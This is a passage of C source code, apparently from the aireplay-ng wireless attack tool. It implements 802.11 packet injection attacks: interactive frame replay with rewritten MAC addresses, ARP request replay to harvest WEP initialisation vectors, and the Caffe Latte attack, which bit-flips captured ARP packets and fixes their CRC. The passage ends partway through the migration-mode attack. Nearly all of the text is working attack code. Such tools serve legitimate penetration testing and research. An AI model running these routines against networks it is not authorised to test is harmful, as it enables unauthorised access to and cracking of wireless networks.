						printf("Authentication 2/2 successful\n");
					}
				}
				else
				{
					printf("Authentication successful\n");
					state = 4; /* auth. done */
				}
			}

			/* check if we got an association response */

			if (h80211[0] == 0x10 && state == 5)
			{
				printf("\n");
				state = 0;
				PCT;

				if (caplen < 30)
				{
					printf("Error: packet length < 30 bytes\n");
					sleep(3);
					challengelen = 0;
					continue;
				}

				n = h80211[26] + (h80211[27] << 8);

				if (n != 0)
				{
					switch (n)
					{
						case 1:
							printf("Denied (code  1), is WPA in use ?\n");
							break;

						case 10:
							printf("Denied (code 10), open (no WEP) ?\n");
							break;

						case 12:
							printf("Denied (code 12), wrong ESSID or WPA ?\n");
							break;

						default:
							printf("Association denied (code %d)\n", n);
							break;
					}

					sleep(3);
					challengelen = 0;
					continue;
				}

				aid = (((h80211[29] << 8) != 0 || (h80211[28])) & 0x3FFF);
				printf("Association successful :-) (AID: %d)\n", aid);
				deauth_wait = 3;
				fflush(stdout);

				tt = time(NULL);
				tr = time(NULL);

				state = 6; /* assoc. done */
			}

			/* check if we got an reassociation response */

			if (h80211[0] == 0x30 && state == 8)
			{
				printf("\n");
				state = 7;
				PCT;

				if (caplen < 30)
				{
					printf("Error: packet length < 30 bytes\n");
					sleep(3);
					challengelen = 0;
					continue;
				}

				n = h80211[26] + (h80211[27] << 8);

				if (n != 0)
				{
					switch (n)
					{
						case 1:
							printf("Denied (code  1), is WPA in use ?\n");
							break;

						case 10:
							printf("Denied (code 10), open (no WEP) ?\n");
							break;

						case 12:
							printf("Denied (code 12), wrong ESSID or WPA ?\n");
							break;

						default:
							printf("Reassociation denied (code %d)\n", n);
							break;
					}

					sleep(3);
					challengelen = 0;
					continue;
				}

				aid = (((h80211[29] << 8) != 0 || (h80211[28])) & 0x3FFF);
				printf("Reassociation successful :-) (AID: %d)\n", aid);
				deauth_wait = 3;
				fflush(stdout);

				tt = time(NULL);
				tr = time(NULL);

				state = 6; /* reassoc. done */
			}
		}
	}

	return (EXIT_SUCCESS);
}

static int do_attack_interactive(void)
{
	int caplen, n;
	int mi_b, mi_s, mi_d;
	struct timeval tv;
	struct timeval tv2;
	float f, ticks[3];
	unsigned char bssid[6];
	unsigned char smac[6];
	unsigned char dmac[6];

read_packets:

	if (capture_ask_packet(&caplen, 0) != 0) return (EXIT_FAILURE);

	/* rewrite the frame control & MAC addresses */

	switch (h80211[1] & 3)
	{
		case 0:
			mi_b = 16;
			mi_s = 10;
			mi_d = 4;
			break;
		case 1:
			mi_b = 4;
			mi_s = 10;
			mi_d = 16;
			break;
		case 2:
			mi_b = 10;
			mi_s = 16;
			mi_d = 4;
			break;
		default:
			mi_b = 10;
			mi_d = 16;
			mi_s = 24;
			break;
	}

	if (memcmp(opt.r_bssid, NULL_MAC, 6) == 0)
		memcpy(bssid, h80211 + mi_b, 6);
	else
		memcpy(bssid, opt.r_bssid, 6);

	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
		memcpy(smac, h80211 + mi_s, 6);
	else
		memcpy(smac, opt.r_smac, 6);

	if (memcmp(opt.r_dmac, NULL_MAC, 6) == 0)
		memcpy(dmac, h80211 + mi_d, 6);
	else
		memcpy(dmac, opt.r_dmac, 6);

	if (opt.r_fctrl != -1U)
	{
		h80211[0] = opt.r_fctrl >> 8;
		h80211[1] = opt.r_fctrl & 0xFF;

		switch (h80211[1] & 3)
		{
			case 0:
				mi_b = 16;
				mi_s = 10;
				mi_d = 4;
				break;
			case 1:
				mi_b = 4;
				mi_s = 10;
				mi_d = 16;
				break;
			case 2:
				mi_b = 10;
				mi_s = 16;
				mi_d = 4;
				break;
			default:
				mi_b = 10;
				mi_d = 16;
				mi_s = 24;
				break;
		}
	}

	memcpy(h80211 + mi_b, bssid, 6);
	memcpy(h80211 + mi_s, smac, 6);
	memcpy(h80211 + mi_d, dmac, 6);

	/* loop resending the packet */

	/* Check if airodump-ng is running. If not, print that message */
	printf("You should also start airodump-ng to capture replies.\n\n");

	ALLEGE(signal(SIGINT, sighandler) != SIG_ERR);
	ctrl_c = 0;

	memset(ticks, 0, sizeof(ticks));

	nb_pkt_sent = 0;

	while (1)
	{
		if (ctrl_c) goto read_packets;

		/* wait for the next timer interrupt, or sleep */

		if (dev.fd_rtc >= 0)
		{
			IGNORE_LTZ(read(dev.fd_rtc, &n, sizeof(n)));

			ticks[0]++;
			ticks[1]++;
			ticks[2]++;
		}
		else
		{
			/* we can't trust usleep, since it depends on the HZ */

			gettimeofday(&tv, NULL);
			usleep(1000000 / RTC_RESOLUTION);
			gettimeofday(&tv2, NULL);

			f = 1000000.f * (float) (tv2.tv_sec - tv.tv_sec)
				+ (float) (tv2.tv_usec - tv.tv_usec);

			ticks[0] += f / (1000000.f / (float) RTC_RESOLUTION);
			ticks[1] += f / (1000000.f / (float) RTC_RESOLUTION);
			ticks[2] += f / (1000000.f / (float) RTC_RESOLUTION);
		}

		/* update the status line */

		if (ticks[1] > (float) RTC_RESOLUTION / 10.f)
		{
			ticks[1] = 0;
			printf("\rSent %lu packets...(%d pps)",
				   nb_pkt_sent,
				   (int) ((double) nb_pkt_sent
						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
			fflush(stdout);
			erase_line(0);
			printf("\r");
		}

		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION < 1) continue;

		/* threshold reached */

		ticks[2] = 0;

		if (nb_pkt_sent == 0) ticks[0] = 0;

		if (send_packet(
				_wi_out, h80211, (size_t) caplen, kRewriteSequenceNumber)
			< 0)
			return (EXIT_FAILURE);

		if (((double) ticks[0] / (double) RTC_RESOLUTION) * (double) opt.r_nbpps
			> (double) nb_pkt_sent)
		{
			if (send_packet(
					_wi_out, h80211, (size_t) caplen, kRewriteSequenceNumber)
				< 0)
				return (EXIT_FAILURE);
		}
	}

	return (EXIT_SUCCESS);
}

static int do_attack_arp_resend(void)
{
	int nb_bad_pkt;
	int arp_off1, arp_off2;
	int i, n, caplen, nb_arp, z;
	long nb_pkt_read, nb_arp_tot, nb_ack_pkt;

	time_t tc;
	float f, ticks[3];
	struct timeval tv;
	struct timeval tv2;
	struct tm * lt;

	FILE * f_cap_out;
	struct pcap_file_header pfh_out;
	struct pcap_pkthdr pkh;
	struct ARP_req * arp;

	/* capture only WEP data to broadcast address */

	opt.f_type = 2;
	opt.f_subtype = 0;
	opt.f_iswep = 1;

	memset(opt.f_dmac, 0xFF, 6);

	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
	{
		printf("Please specify a source MAC (-h).\n");
		return (EXIT_FAILURE);
	}

	if (getnet(_wi_in,
			   NULL,
			   1,
			   1,
			   opt.f_bssid,
			   opt.r_bssid,
			   (uint8_t *) opt.r_essid,
			   opt.ignore_negative_one,
			   opt.nodetect)
		!= 0)
		return (EXIT_FAILURE);

	/* create and write the output pcap header */

	gettimeofday(&tv, NULL);

	pfh_out.magic = TCPDUMP_MAGIC;
	pfh_out.version_major = PCAP_VERSION_MAJOR;
	pfh_out.version_minor = PCAP_VERSION_MINOR;
	pfh_out.thiszone = 0;
	pfh_out.sigfigs = 0;
	pfh_out.snaplen = 65535;
	pfh_out.linktype = LINKTYPE_IEEE802_11;

	lt = localtime((const time_t *) &tv.tv_sec);
	REQUIRE(lt != NULL);

	memset(strbuf, 0, sizeof(strbuf));
	snprintf(strbuf,
			 sizeof(strbuf) - 1,
			 "replay_arp-%02d%02d-%02d%02d%02d.cap",
			 lt->tm_mon + 1,
			 lt->tm_mday,
			 lt->tm_hour,
			 lt->tm_min,
			 lt->tm_sec);

	printf("Saving ARP requests in %s\n", strbuf);

	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
	{
		perror("fopen failed");
		return (EXIT_FAILURE);
	}

	n = sizeof(struct pcap_file_header);

	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
	{
		perror("fwrite failed\n");
		fclose(f_cap_out);
		return (EXIT_FAILURE);
	}

	fflush(f_cap_out);

	printf("You should also start airodump-ng to capture replies.\n");

	if (opt.port_in <= 0)
	{
		/* avoid blocking on reading the socket */
		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
		{
			perror("fcntl(O_NONBLOCK) failed");
			fclose(f_cap_out);
			return (EXIT_FAILURE);
		}
	}

	if (opt.ringbuffer)
	{
		arp = (struct ARP_req *) malloc(opt.ringbuffer
										* sizeof(struct ARP_req));
		ALLEGE(arp != NULL);
	}
	else
	{
		arp = (struct ARP_req *) malloc(sizeof(struct ARP_req) * MAX_ARP_SLOTS);
		ALLEGE(arp != NULL);
	}

	memset(ticks, 0, sizeof(ticks));

	tc = time(NULL) - 11;

	nb_pkt_read = 0;
	nb_bad_pkt = 0;
	nb_ack_pkt = 0;
	nb_arp = 0;
	nb_arp_tot = 0;
	arp_off1 = 0;
	arp_off2 = 0;

	while (1)
	{
		/* sleep until the next clock tick */

		if (dev.fd_rtc >= 0)
		{
			IGNORE_LTZ(read(dev.fd_rtc, &n, sizeof(n)));

			ticks[0]++;
			ticks[1]++;
			ticks[2]++;
		}
		else
		{
			gettimeofday(&tv, NULL);
			usleep(1000000 / RTC_RESOLUTION);
			gettimeofday(&tv2, NULL);

			f = 1000000.f * (float) (tv2.tv_sec - tv.tv_sec)
				+ (float) (tv2.tv_usec - tv.tv_usec);

			ticks[0] += f / (1000000.f / RTC_RESOLUTION);
			ticks[1] += f / (1000000.f / RTC_RESOLUTION);
			ticks[2] += f / (1000000.f / RTC_RESOLUTION);
		}

		if (ticks[1] > (RTC_RESOLUTION / 10.f))
		{
			ticks[1] = 0;
			printf("\rRead %ld packets (got %ld ARP requests and %ld ACKs), "
				   "sent %lu packets...(%d pps)\r",
				   nb_pkt_read,
				   nb_arp_tot,
				   nb_ack_pkt,
				   nb_pkt_sent,
				   (int) ((double) nb_pkt_sent
						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
			fflush(stdout);
		}

		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
		{
			/* threshold reach, send one frame */

			ticks[2] = 0;

			if (nb_arp > 0)
			{
				if (nb_pkt_sent == 0) ticks[0] = 0;

				if (send_packet(_wi_out,
								arp[arp_off1].buf,
								(size_t) arp[arp_off1].len,
								kRewriteSequenceNumber)
					< 0)
				{
					free(arp);
					fclose(f_cap_out);
					return (EXIT_FAILURE);
				}

				if (((double) ticks[0] / (double) RTC_RESOLUTION)
						* (double) opt.r_nbpps
					> (double) nb_pkt_sent)
				{
					if (send_packet(_wi_out,
									arp[arp_off1].buf,
									(size_t) arp[arp_off1].len,
									kRewriteSequenceNumber)
						< 0)
					{
						free(arp);
						fclose(f_cap_out);
						return (EXIT_FAILURE);
					}
				}

				if (++arp_off1 >= nb_arp) arp_off1 = 0;
			}
		}

		/* read a frame, and check if it's an ARP request */

		if (opt.s_file == NULL)
		{
			gettimeofday(&tv, NULL);

			caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);

			if (caplen < 0)
			{
				free(arp);
				fclose(f_cap_out);
				return (EXIT_FAILURE);
			}
			if (caplen == 0) continue;
		}
		else
		{
			n = sizeof(pkh);

			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
			{
				opt.s_file = NULL;
				continue;
			}

			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
			{
				SWAP32(pkh.caplen);
				SWAP32(pkh.len);
			}

			tv.tv_sec = pkh.tv_sec;
			tv.tv_usec = pkh.tv_usec;

			n = caplen = pkh.caplen;

			if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
			{
				printf("\r");
				erase_line(0);
				printf("Invalid packet length %d.\n", n);
				opt.s_file = NULL;
				continue;
			}

			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
			{
				opt.s_file = NULL;
				continue;
			}

			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
			{
				/* remove the prism header */

				if (h80211[7] == 0x40)
					n = 64;
				else
					n = *(int *) (h80211 + 4); //-V1032

				if (n < 8 || n >= (int) caplen) continue;

				memcpy(tmpbuf, h80211, caplen);
				caplen -= n;
				memcpy(h80211, tmpbuf + n, caplen);
			}

			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
			{
				/* remove the radiotap header */

				n = *(unsigned short *) (h80211 + 2);

				if (n <= 0 || n >= (int) caplen) continue;

				memcpy(tmpbuf, h80211, caplen);
				caplen -= n;
				memcpy(h80211, tmpbuf + n, caplen);
			}

			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
			{
				/* remove the PPI header */

				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));

				if (n <= 0 || n >= caplen) continue;

				/* for a while Kismet logged broken PPI headers */
				if (n == 24
					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
					n = 32;

				memcpy(tmpbuf, h80211, caplen);
				caplen -= n;
				memcpy(h80211, tmpbuf + n, caplen);
			}
		}

		nb_pkt_read++;

		/* check if it's a disassociation or deauthentication packet */

		if ((h80211[0] == 0xC0 || h80211[0] == 0xA0)
			&& !memcmp(h80211 + 4, opt.r_smac, 6))
		{
			nb_bad_pkt++;

			if (nb_bad_pkt > 64 && time(NULL) - tc >= 10)
			{
				erase_line(0);
				printf("Notice: got a deauth/disassoc packet. Is the "
					   "source MAC associated ?\n");

				tc = time(NULL);
				nb_bad_pkt = 0;
			}
		}

		if (h80211[0] == 0xD4 && !memcmp(h80211 + 4, opt.r_smac, 6))
		{
			nb_ack_pkt++;
		}

		/* check if it's a potential ARP request */

		opt.f_minlen = opt.f_maxlen = 68;

		if (filter_packet(h80211, caplen) == 0) goto add_arp;

		opt.f_minlen = opt.f_maxlen = 86;

		if (filter_packet(h80211, caplen) == 0)
		{
		add_arp:
			z = ((h80211[1] & 3) != 3) ? 24 : 30;
			if ((h80211[0] & 0x80) == 0x80) /* QoS */
				z += 2;

			switch (h80211[1] & 3)
			{
				case 1: /* ToDS */
				{
					/* keep as a ToDS packet */

					memcpy(h80211 + 4, opt.f_bssid, 6);
					memcpy(h80211 + 10, opt.r_smac, 6);
					memcpy(h80211 + 16, opt.f_dmac, 6);

					h80211[1] = 0x41; /* ToDS & WEP  */
				}
				break;
				case 2: /* FromDS */
				{
					if (opt.r_fromdsinj)
					{
						/* keep as a FromDS packet */

						memcpy(h80211 + 4, opt.f_dmac, 6);
						memcpy(h80211 + 10, opt.f_bssid, 6);
						memcpy(h80211 + 16, opt.r_smac, 6);

						h80211[1] = 0x42; /* FromDS & WEP  */
					}
					else
					{
						/* rewrite header to make it a ToDS packet */

						memcpy(h80211 + 4, opt.f_bssid, 6);
						memcpy(h80211 + 10, opt.r_smac, 6);
						memcpy(h80211 + 16, opt.f_dmac, 6);

						h80211[1] = 0x41; /* ToDS & WEP  */
					}
				}
				break;
			}

			// should be correct already, keep qos/wds status
			//             h80211[0] = 0x08;   /* normal data */

			/* if same IV, perhaps our own packet, skip it */

			for (i = 0; i < nb_arp; i++)
			{
				if (memcmp(h80211 + z, arp[i].buf + arp[i].hdrlen, 4) == 0)
					break;
			}

			if (i < nb_arp) continue;

			if (caplen > 128) continue;
			/* add the ARP request in the ring buffer */

			nb_arp_tot++;

			/* Ring buffer size: by default: 8 ) */

			if (nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
			{
				/* no more room, overwrite oldest entry */

				memcpy(arp[arp_off2].buf, h80211, caplen);
				arp[arp_off2].len = caplen;
				arp[arp_off2].hdrlen = z;

				if (++arp_off2 >= nb_arp) arp_off2 = 0;
			}
			else if (nb_arp >= MAX_ARP_SLOTS && !opt.ringbuffer)
				continue;
			else
			{

				if ((arp[nb_arp].buf = malloc(128)) == NULL)
				{
					perror("malloc failed");
					free(arp);
					fclose(f_cap_out);
					return (EXIT_FAILURE);
				}

				memcpy(arp[nb_arp].buf, h80211, caplen);
				arp[nb_arp].len = caplen;
				arp[nb_arp].hdrlen = z;
				nb_arp++;

				pkh.tv_sec = tv.tv_sec;
				pkh.tv_usec = tv.tv_usec;
				pkh.caplen = caplen;
				pkh.len = caplen;

				n = sizeof(pkh);

				if (fwrite(&pkh, n, 1, f_cap_out) != 1)
				{
					perror("fwrite failed");
					free(arp);
					fclose(f_cap_out);
					return (EXIT_FAILURE);
				}

				n = pkh.caplen;

				if (fwrite(h80211, n, 1, f_cap_out) != 1)
				{
					perror("fwrite failed");
					free(arp);
					fclose(f_cap_out);
					return (EXIT_FAILURE);
				}

				fflush(f_cap_out);
			}
		}
	}

	return (EXIT_SUCCESS);
}

static int do_attack_caffe_latte(void)
{
	int nb_bad_pkt;
	int arp_off1;
	int i, n, caplen, nb_arp, z;
	long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
	unsigned char flip[4096];

	time_t tc;
	float f, ticks[3];
	struct timeval tv;
	struct timeval tv2;
	struct tm * lt;

	FILE * f_cap_out;
	struct pcap_file_header pfh_out;
	struct pcap_pkthdr pkh;
	struct ARP_req * arp;

	/* capture only WEP data to broadcast address */

	opt.f_type = 2;
	opt.f_subtype = 0;
	opt.f_iswep = 1;
	opt.f_fromds = 0;

	if (getnet(_wi_in,
			   NULL,
			   1,
			   1,
			   opt.f_bssid,
			   opt.r_bssid,
			   (uint8_t *) opt.r_essid,
			   opt.ignore_negative_one,
			   opt.nodetect)
		!= 0)
		return (EXIT_FAILURE);

	if (memcmp(opt.f_bssid, NULL_MAC, 6) == 0)
	{
		printf("Please specify a BSSID (-b).\n");
		return (1);
	}
	/* create and write the output pcap header */

	gettimeofday(&tv, NULL);

	pfh_out.magic = TCPDUMP_MAGIC;
	pfh_out.version_major = PCAP_VERSION_MAJOR;
	pfh_out.version_minor = PCAP_VERSION_MINOR;
	pfh_out.thiszone = 0;
	pfh_out.sigfigs = 0;
	pfh_out.snaplen = 65535;
	pfh_out.linktype = LINKTYPE_IEEE802_11;

	lt = localtime((const time_t *) &tv.tv_sec);
	REQUIRE(lt != NULL);

	memset(strbuf, 0, sizeof(strbuf));
	snprintf(strbuf,
			 sizeof(strbuf) - 1,
			 "replay_arp-%02d%02d-%02d%02d%02d.cap",
			 lt->tm_mon + 1,
			 lt->tm_mday,
			 lt->tm_hour,
			 lt->tm_min,
			 lt->tm_sec);

	printf("Saving ARP requests in %s\n", strbuf);

	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
	{
		perror("fopen failed");
		return (1);
	}

	n = sizeof(struct pcap_file_header);

	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
	{
		perror("fwrite failed\n");
		fclose(f_cap_out);
		return (1);
	}

	fflush(f_cap_out);

	printf("You should also start airodump-ng to capture replies.\n");

	if (opt.port_in <= 0)
	{
		/* avoid blocking on reading the socket */
		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
		{
			perror("fcntl(O_NONBLOCK) failed");
			fclose(f_cap_out);
			return (1);
		}
	}

	if (opt.ringbuffer)
		arp = (struct ARP_req *) malloc(opt.ringbuffer
										* sizeof(struct ARP_req));
	else
		arp = (struct ARP_req *) malloc(sizeof(struct ARP_req) * MAX_ARP_SLOTS);
	ALLEGE(arp != NULL);

	memset(ticks, 0, sizeof(ticks));

	tc = time(NULL) - 11;

	nb_pkt_read = 0;
	nb_bad_pkt = 0;
	nb_ack_pkt = 0;
	nb_arp = 0;
	nb_arp_tot = 0;
	arp_off1 = 0;

	while (1)
	{
		/* sleep until the next clock tick */

		if (dev.fd_rtc >= 0)
		{
			IGNORE_LTZ(read(dev.fd_rtc, &n, sizeof(n)));

			ticks[0]++;
			ticks[1]++;
			ticks[2]++;
		}
		else
		{
			gettimeofday(&tv, NULL);
			usleep(1000000 / RTC_RESOLUTION);
			gettimeofday(&tv2, NULL);

			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
				+ (float) (tv2.tv_usec - tv.tv_usec);

			ticks[0] += f / (1000000.f / RTC_RESOLUTION);
			ticks[1] += f / (1000000.f / RTC_RESOLUTION);
			ticks[2] += f / (1000000.f / RTC_RESOLUTION);
		}

		if (ticks[1] > (RTC_RESOLUTION / 10.f))
		{
			ticks[1] = 0;
			printf("\rRead %ld packets (%ld ARPs, %ld ACKs), "
				   "sent %lu packets...(%d pps)\r",
				   nb_pkt_read,
				   nb_arp_tot,
				   nb_ack_pkt,
				   nb_pkt_sent,
				   (int) ((double) nb_pkt_sent
						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
			fflush(stdout);
		}

		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
		{
			/* threshold reach, send one frame */

			ticks[2] = 0;

			if (nb_arp > 0)
			{
				if (nb_pkt_sent == 0) ticks[0] = 0;

				if (send_packet(_wi_out,
								arp[arp_off1].buf,
								(size_t) arp[arp_off1].len,
								kRewriteSequenceNumber)
					< 0)
				{
					free(arp);
					fclose(f_cap_out);
					return (1);
				}
				if (((double) ticks[0] / (double) RTC_RESOLUTION)
						* (double) opt.r_nbpps
					> (double) nb_pkt_sent)
				{
					if (send_packet(_wi_out,
									arp[arp_off1].buf,
									(size_t) arp[arp_off1].len,
									kRewriteSequenceNumber)
						< 0)
					{
						free(arp);
						fclose(f_cap_out);
						return (1);
					}
				}

				if (++arp_off1 >= nb_arp) arp_off1 = 0;
			}
		}

		/* read a frame, and check if it's an ARP request */

		if (opt.s_file == NULL)
		{
			gettimeofday(&tv, NULL);

			caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);

			if (caplen < 0)
			{
				free(arp);
				fclose(f_cap_out);
				return (1);
			}
			if (caplen == 0) continue;
		}
		else
		{
			n = sizeof(pkh);

			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
			{
				opt.s_file = NULL;
				continue;
			}

			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
			{
				SWAP32(pkh.caplen);
				SWAP32(pkh.len);
			}

			tv.tv_sec = pkh.tv_sec;
			tv.tv_usec = pkh.tv_usec;

			n = caplen = pkh.caplen;

			if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
			{
				printf("\r");
				erase_line(0);
				printf("Invalid packet length %d.\n", n);
				opt.s_file = NULL;
				continue;
			}

			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
			{
				opt.s_file = NULL;
				continue;
			}

			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
			{
				/* remove the prism header */

				if (h80211[7] == 0x40)
					n = 64;
				else
					n = *(int *) (h80211 + 4); //-V1032

				if (n < 8 || n >= (int) caplen) continue;

				memcpy(tmpbuf, h80211, caplen);
				caplen -= n;
				memcpy(h80211, tmpbuf + n, caplen);
			}

			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
			{
				/* remove the radiotap header */

				n = *(unsigned short *) (h80211 + 2);

				if (n <= 0 || n >= (int) caplen) continue;

				memcpy(tmpbuf, h80211, caplen);
				caplen -= n;
				memcpy(h80211, tmpbuf + n, caplen);
			}

			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
			{
				/* remove the PPI header */

				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));

				if (n <= 0 || n >= (int) caplen) continue;

				/* for a while Kismet logged broken PPI headers */
				if (n == 24
					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
					n = 32;

				memcpy(tmpbuf, h80211, caplen);
				caplen -= n;
				memcpy(h80211, tmpbuf + n, caplen);
			}
		}

		nb_pkt_read++;

		/* check if it's a disas. or deauth packet */

		if ((h80211[0] == 0xC0 || h80211[0] == 0xA0)
			&& !memcmp(h80211 + 4, opt.r_smac, 6))
		{
			nb_bad_pkt++;

			if (nb_bad_pkt > 64 && time(NULL) - tc >= 10)
			{
				erase_line(0);
				printf("Notice: got a deauth/disassoc packet. Is the "
					   "source MAC associated ?\n");

				tc = time(NULL);
				nb_bad_pkt = 0;
			}
		}

		if (h80211[0] == 0xD4 && !memcmp(h80211 + 4, opt.f_bssid, 6))
		{
			nb_ack_pkt++;
		}

		/* check if it's a potential ARP request */

		opt.f_minlen = opt.f_maxlen = 68;

		if (filter_packet(h80211, caplen) == 0) goto add_arp;

		opt.f_minlen = opt.f_maxlen = 86;

		if (filter_packet(h80211, caplen) == 0)
		{
		add_arp:
			z = ((h80211[1] & 3) != 3) ? 24 : 30;
			if ((h80211[0] & 0x80) == 0x80) /* QoS */
				z += 2;

			switch (h80211[1] & 3)
			{
				case 0: /* ad-hoc */
				{
					if (memcmp(h80211 + 16, BROADCAST, 6) == 0)
					{
						/* rewrite to an ad-hoc packet */

						memcpy(h80211 + 4, BROADCAST, 6);
						memcpy(h80211 + 10, opt.r_smac, 6);
						memcpy(h80211 + 16, opt.f_bssid, 6);

						h80211[1] = 0x40; /* WEP  */
					}
					else
					{
						nb_arp_tot++;
						continue;
					}

					break;
				}
				case 1: /* ToDS */
				{
					if (memcmp(h80211 + 16, BROADCAST, 6) == 0)
					{
						/* rewrite to a FromDS packet */

						memcpy(h80211 + 4, BROADCAST, 6);
						memcpy(h80211 + 10, opt.f_bssid, 6);
						memcpy(h80211 + 16, opt.f_bssid, 6);

						h80211[1] = 0x42; /* ToDS & WEP  */
					}
					else
					{
						nb_arp_tot++;
						continue;
					}

					break;
				}
				default:
					continue;
			}

			//             h80211[0] = 0x08;   /* normal data */

			/* if same IV, perhaps our own packet, skip it */

			for (i = 0; i < nb_arp; i++)
			{
				if (memcmp(h80211 + z, arp[i].buf + arp[i].hdrlen, 4) == 0)
					break;
			}

			if (i < nb_arp) continue;

			if (caplen > 128) continue;
			/* add the ARP request in the ring buffer */

			nb_arp_tot++;

			/* Ring buffer size: by default: 8 ) */

			if (nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
				continue;
			else if (nb_arp >= MAX_ARP_SLOTS && !opt.ringbuffer)
				continue;
			else
			{

				if ((arp[nb_arp].buf = malloc(128)) == NULL)
				{
					perror("malloc failed");
					free(arp);
					fclose(f_cap_out);
					return (1);
				}

				memset(flip, 0, 4096);

				//                 flip[49-24-4] ^= ((rand() % 255)+1); //flip
				//                 random bits in last byte of sender MAC
				//                 flip[53-24-4] ^= ((rand() % 255)+1); //flip
				//                 random bits in last byte of sender IP
				flip[z + 21]
					^= (rand_u8()
						+ 1); // flip random bits in last byte of sender MAC
				flip[z + 25]
					^= (rand_u8()
						+ 1); // flip random bits in last byte of sender IP

				add_crc32_plain(flip, caplen - z - 4 - 4);
				for (i = 0; i < caplen - z - 4; i++)
					(h80211 + z + 4)[i] ^= flip[i];

				memcpy(arp[nb_arp].buf, h80211, caplen);
				arp[nb_arp].len = caplen;
				arp[nb_arp].hdrlen = z;
				nb_arp++;

				pkh.tv_sec = tv.tv_sec;
				pkh.tv_usec = tv.tv_usec;
				pkh.caplen = caplen;
				pkh.len = caplen;

				n = sizeof(pkh);

				if (fwrite(&pkh, n, 1, f_cap_out) != 1)
				{
					perror("fwrite failed");
					free(arp);
					fclose(f_cap_out);
					return (1);
				}

				n = pkh.caplen;

				if (fwrite(h80211, n, 1, f_cap_out) != 1)
				{
					perror("fwrite failed");
					free(arp);
					fclose(f_cap_out);
					return (1);
				}

				fflush(f_cap_out);
			}
		}
	}
	fclose(f_cap_out);
	return (0);
}

static int do_attack_migmode(void)
{
	int nb_bad_pkt;
	int arp_off1;
	int i, n, caplen, nb_arp, z;
	long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
	unsigned char flip[4096];
	unsigned char senderMAC[6];

	time_t tc;
	float f, ticks[3];
	struct timeval tv;
	struct timeval tv2;
	struct tm * lt;

	FILE * f_cap_out;
	struct pcap_file_header pfh_out;
	struct pcap_pkthdr pkh;
	struct ARP_req * arp;

	if (opt.ringbuffer)
		arp = (struct ARP_req *) malloc(opt.ringbuffer
										* sizeof(struct ARP_req));
	else
		arp = (struct ARP_req *) malloc(sizeof(struct ARP_req) * MAX_ARP_SLOTS);

	if (arp == NULL) return 1;

	/* capture only WEP data to broadcast address */

	opt.f_type = 2;
	opt.f_subtype = 0;
	opt.f_iswep = 1;
	opt.f_fromds = 1;

	if (getnet(_wi_in,
			   NULL,
			   1,
			   1,
			   opt.f_bssid,
			   opt.r_bssid,
			   (uint8_t *) opt.r_essid,
			   opt.ignore_negative_one,
			   opt.nodetect)
		!= 0)
	{
		free(arp);
		return 1;
	}

	if (memcmp(opt.f_bssid, NULL_MAC, 6) == 0)
	{
		printf("Please specify a BSSID (-b).\n");
		free(arp);
		return (1);
	}
	/* create and write the output pcap header */

	gettimeofday(&tv, NULL);

	pfh_out.magic = TCPDUMP_MAGIC;
	pfh_out.version_major = PCAP_VERSION_MAJOR;
	pfh_out.version_minor = PCAP_VERSION_MINOR;
	pfh_out.thiszone = 0;
	pfh_out.sigfigs = 0;
	pfh_out.snaplen = 65535;
	pfh_out.linktype = LINKTYPE_IEEE802_11;

	lt = localtime((const time_t *) &tv.tv_sec);
	REQUIRE(lt != NULL);

	memset(strbuf, 0, sizeof(strbuf));
	snprintf(strbuf,
			 sizeof(strbuf) - 1,
			 "replay_arp-%02d%02d-%02d%02d%02d.cap",
			 lt->tm_mon + 1,
			 lt->tm_mday,
			 lt->tm_hour,
			 lt->tm_min,
			 lt->tm_sec);

	printf("Saving ARP requests in %s\n", strbuf);

	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
	{
		perror("fopen failed");
		free(arp);
		return (1);
	}

	n = sizeof(struct pcap_file_header);

	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
	{
		perror("fwrite failed\n");
		free(arp);
		fclose(f_cap_out);
		return (1);
	}

	fflush(f_cap_out);

	printf("You should also start airodump-ng to capture replies.\n");
	printf("Remember to filter the capture to only keep WEP frames: ");
	printf(" \"tshark -R 'wlan.wep.iv' -r capture.cap -w outcapture.cap\"\n");
	// printf( "Remember to filter the capture to keep only broadcast From-DS
	// frames.\n");

	if (opt.port_in <= 0)
	{
